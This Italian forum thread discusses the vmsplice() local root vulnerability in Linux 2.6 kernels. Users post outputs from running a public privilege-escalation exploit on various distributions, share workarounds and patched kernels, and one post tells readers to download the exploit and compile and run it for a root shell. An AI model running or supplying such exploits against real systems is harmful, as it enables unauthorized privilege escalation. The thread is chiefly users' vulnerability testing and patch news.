[CRITICO] Scoperta vulnerabilità locale in Linux 2.6
Scusate, il tag ma come news non è da prendere sottogamba.
Nei kernel distribuiti da Debian ed Ubuntu è stata individuata e confermata una vulnerabilità che garantisce ad un utente locale la possibilità di diventare root, eseguendo semplicemente questo exploit; la falla di sicurezza è stata individuata nell’errato comportamento della system call vmsplice() e, sebbene al momento il bug sia stato confermato solo in Debian ed Ubuntu, è probabile che esso sia presente nella gran parte delle distribuzioni. Sul bug tracker di Debian è già disponibile un workaround che rende inutilizzabile l’exploit. workaround: http://www.ping.uio.no/~mortehu/disa...-exploitable.c fonte: ossblog.it Io ho Sid, e l'exploit era possibile eseguirlo. Ho applicato il workaround ed è tornato tutto normale. |
Per adesso si sa che funziona su Debian e Ubuntu, non è detto che anche tutte le altre siano vulnerabili.
Su Debian l'ho provato e funziona: $ ./a.out ———————————– Linux vmsplice Local Root Exploit By qaaz ———————————– [+] mmap: 0×0 .. 0×1000 [+] page: 0×0 [+] page: 0×20 [+] mmap: 0×4000 .. 0×5000 [+] page: 0×4000 [+] page: 0×4020 [+] mmap: 0×1000 .. 0×2000 [+] page: 0×1000 [+] mmap: 0xb7e38000 .. 0xb7e6a000 [+] root # Su Fedora8 invece no: $ ./a.out ———————————– Linux vmsplice Local Root Exploit By qaaz ———————————– [+] mmap: 0×0 .. 0×1000 [+] page: 0×0 [+] page: 0×20 [+] mmap: 0×4000 .. 0×5000 [+] page: 0×4000 [+] page: 0×4020 [+] mmap: 0×1000 .. 0×2000 [+] page: 0×1000 [+] mmap: 0xb7fa5000 .. 0xb7fd7000 [-] wtf $ |
la soluzione e' ricompilare:
http://kernel.org/pub/linux/kernel/v...geLog-2.6.24.2 il codice postato prima pare (non sono un coder, di c capisco poco) che corrompa le pagine di memoria... ah, ovviamente sto bug ha gia' fatto bei danni :P ciao |
Quote:
Disabilitando SELinux, anche Fedora è vulnerabile: Codice:
[gianluca@dyane6 ~]$ uname -r |
Quote:
|
Ho appena aggiornato Debian Etch, che ora non è più vulnerabile :)
Più veloci della luce :cool: |
Nemmeno sid:
----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x100000000000 .. 0x100000001000 [+] page: 0x100000000000 [+] page: 0x100000000038 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4038 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0x2b0fcf23a000 .. 0x2b0fcf26c000 Killed |
2.6.23.1 su arch:
Quote:
|
Quote:
Devi fare cosi: apri questa pagina http://www.milw0rm.com/exploits/5092 e salva il contenuto nel file exploit.c, poi esegui da utente normale: gcc exploit.c -o exploit && ./exploit se sei vulnerabile ti ritrovi un una shell di root!:eek: |
arg ieri ho aggiornato a .24 quindi non sono vulnerabile, lo volevo provare doh!
[paolo@Arch-Linux ~]$ gcc exploit.c -o exploit && ./exploit exploit.c:289:28: warning: no newline at end of file ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7e24000 .. 0xb7e56000 [-] vmsplice: Bad address [paolo@Arch-Linux ~]$ vabbè cmq ottimo, lo provo al laboratorio all'università che c'è la sarge :D edit: no asp, io ho 24.1 quindi dovrei essere vulnerabile! e allora arch powaaa! |
Quote:
Quote:
Anche il 2.6.24.1 non è vulnerabile, sara per quello: Not Vulnerable: Linux kernel 2.6.24.1 |
Quote:
ok grazie per la info :D |
Codice:
rosso@localhost ~ $ gcc exploit.c -o exploit && ./exploit |
Quote:
if (!uid || !gid) die("!@#$", 0); Se uno dei due tra uid o gid è 0, cioe root, allora esce. E strano perche vedo che l'hai eseguito con un utente normale, prova a guardare col comando id su che gruppi sei inserito. |
Quote:
Codice:
rosso@localhost ~ $ id EDIT: questo invece con fedora 8 64bit sul portatile SElinux disattivato (in quanto non ho ben capito a cosa serva... :stordita:) Codice:
bash-3.2$ gcc exploit.c -o exploit && ./exploit |
Quote:
|
Quote:
anche per fedora comunque è uscito il nuovo kernel patchato. |
a me da questo output:
Codice:
----------------------------------- |
Ci credo, praticamente sono assembly e system call :D
Lungi dall'averci capito qualcosa è :p |
A me fa in seg fault O_o
|
Tutti gli orari sono GMT +1. Ora sono le: 05:10. |
Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Hardware Upgrade S.r.l.